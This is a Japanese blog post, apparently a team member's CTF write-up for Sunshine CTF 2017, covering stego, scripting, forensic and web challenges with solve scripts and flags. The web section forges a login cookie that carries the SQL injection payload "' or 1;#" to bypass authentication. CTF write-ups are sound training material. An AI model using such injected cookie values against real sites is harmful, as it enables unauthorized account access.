st98 の日記帳


[ctf] Sunshine CTF 2017 の write-up

チーム Harekaze で Sunshine CTF 2017 に参加しました。最終的にチームで 976 点を獲得し、順位は 9 位 (得点 204 チーム中) でした。うち、私は 4 問を解いて 550 点を入れました。

以下、解いた問題の write-up です。

[Stego 150] Hello Friend

私が問題を確認した時点で @neglect_yp さんが RGB それぞれの LSB から以下のように文字列を抽出していました。

R : Sorry, it's not quite that easy...
G : Maybe try combining these hints...
B : (6d 7b 65 6b 79 7a 65 77 52 64 20 3d 73 52 2c 3d 47 75 3e 20 4e 31 21 6e 76 0b 2e 7e 3e 34 64 64 7d 0a)

R と G のヒントから xor(r, g, b) を計算するとフラグが得られました。

sun{ev1l_c0rp_1s_n0t_y0ur_fr13nd}

[Scripting 100] Fallout Comrade

from pwn import *

t = {
  2: 'fallout',
  3: 'survivor',
  5: 'comrade',
  7: 'nuclear',
  11: 'apocalypse',
  13: 'shelter',
  17: 'war',
  19: 'radioactive',
  23: 'atom',
  29: 'bomb',
  31: 'radiation',
  37: 'destruction',
  41: 'mushroom',
  43: 'armageddon',
  47: 'disaster',
  53: 'pollution',
  59: 'military',
  61: 'science',
  67: 'winter',
  71: 'death',
  73: 'atmosphere',
  79: 'bunker',
  83: 'soldier',
  89: 'danger',
  97: 'doomsday'
}

def solve(x):
  res = ''
  for y in t.keys():
    if x % y == 0:
      res += t[y]
  return 'FAKE NUMBER' if res == '' else res

s = remote('pwn.sunshinectf.org', 30001)
s.recvuntil('Press enter to begin\r\n')
s.sendline()

while True:
  l = s.recvline()
  x = int(l)
  ans = solve(x)
  print repr(l), ans
  s.sendline(ans)

s.close()
sun{I_g1vE_u_nUM3r0_u_G1v3_m3_alt3Rn4TE_nUMEr0}

[Forensic 150] Tag

私が問題を確認した時点で @hiww さんが与えられた pcapng ファイルからパスワードのかかった flag.7z を抽出していました。

pcapng ファイルを眺めていると以下のような怪しい文字列が見つかりました。

NDg2NTIwNzc2MTZjNmI2NTY0MjA2Zjc1NzQyMDY5NmUyMDc0Njg2NTIwNjc3MjYxNzkyMDZjNjk2NzY4NzQyMDYxNmU2NDIwNzM3NDZmNmY2NDIwNjE2ZTY0MjA2ODY1MjA3MzYxNzcyMDY2NmY3MjIwNjEyMDYyNzI2OTY1NjYyMDZkNmY2ZDY1NmU3NDIwNzQ2ODY1MjA2MTYyNzM2ZjZjNzU3NDY1MjA3NDcyNzU3NDY4MjA2ZjY2MjA3NDY4NjUyMDc3NmY3MjZjNjQyZTIwNTQ2ODY1MjA2MzZmNmM2NDIwNzI2NTZjNjU2ZTc0NmM2NTczNzMyMDYzNjk3MjYzNmM2OTZlNjcyMDZmNjYyMDc0Njg2NTIwNjk2ZTc0NjU3Mzc0NjE3NDY1MjA2NTYxNzI3NDY4MmUyMDQ0NjE3MjZiNmU2NTczNzMyMDY5NmQ3MDZjNjE2MzYxNjI2YzY1MmUyMDU0Njg2NTIwNjI2YzY5NmU2NDIwNjQ2ZjY3NzMyMDZmNjYyMDc0Njg2NTIwNzM3NTZlMjA2OTZlMjA3NDY4NjU2OTcyMjA3Mjc1NmU2ZTY5NmU2NzJlMjA1NDY4NjUyMDYzNzI3NTczNjg2OTZlNjcyMDYyNmM2MTYzNmIyMDc2NjE2Mzc1NzU2ZDIwNmY2NjIwNzQ2ODY1MjA3NTZlNjk3NjY1NzI3MzY1MmUyMDQxNmU2NDIwNzM2ZjZkNjU3NzY4NjU3MjY1MjA3NDc3NmYyMDY4NzU2ZTc0NjU2NDIwNjE2ZTY5NmQ2MTZjNzMyMDc0NzI2NTZkNjI2YzY5NmU2NzIwNmM2OTZiNjUyMDY3NzI2Zjc1NmU2NDJkNjY2Zjc4NjU3MzIwNjk2ZTIwNzQ2ODY1Njk3MjIwNjM2Zjc2NjU3MjJlMjA0MjZmNzI3MjZmNzc2NTY0MjA3NDY5NmQ2NTIwNjE2ZTY0MjA2MjZmNzI3MjZmNzc2NTY0MjA3NzZmNzI2YzY0MjA2MTZlNjQyMDYyNmY3MjcyNmY3NzY1NjQyMDY1Nzk2NTczMjA3NzY5NzQ2ODIwNzc2ODY5NjM2ODIwNzQ2ZjIwNzM2ZjcyNzI2Zjc3MjA2OTc0MmU=

これを base64 デコードし、さらに hex デコードすると以下のような文字列が出てきました。

He walked out in the gray light and stood and he saw for a brief moment the absolute truth of the world. The cold relentless circling of the intestate earth. Darkness implacable. The blind dogs of the sun in their running. The crushing black vacuum of the universe. And somewhere two hunted animals trembling like ground-foxes in their cover. Borrowed time and borrowed world and borrowed eyes with which to sorrow it.

ググると The Road という小説からの引用と分かります。the road をパスワードとして先程の flag.7z が解凍できました。

sun{phUn_1n_7h3_c0MPl373_l4ck_0f_5UN}

[Web 150] Zombiedex

ユーザ名に a、パスワードに b を入力してログインすると Cookie に ID=66534a69496a6f695a484a7664334e7a595841694c434a68496a6f695a573168626e4a6c6333556965773d3d がセットされました。

この文字列を hex デコードし、さらに base64 デコードし、逆から読むと {"username":"a","password":"b"} という文字列が出てきました。

楽にエンコードとデコードができるスクリプトを書きましょう。

def e(s):
  return ''.join(reversed(s)).encode('base64').encode('hex')

def d(s):
  return ''.join(reversed(s.decode('hex').decode('base64')))

if __name__ == '__main__':
  import sys

  if len(sys.argv) < 3:
    print 'usage: python %s [e|d] [str]' % sys.argv[0]
    sys.exit(0)

  if sys.argv[1] == 'e':
    print e(sys.argv[2])
  elif sys.argv[1] == 'd':
    print d(sys.argv[2])

{"username":"a","password":"' or 1;#"} をエンコードしたものを Cookie にセットしてみると、flag{k00kIEs_4re_4S_900d_4s_seSSi0n2} が出力されました。

sun{k00kIEs_4re_4S_900d_4s_seSSi0n2}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳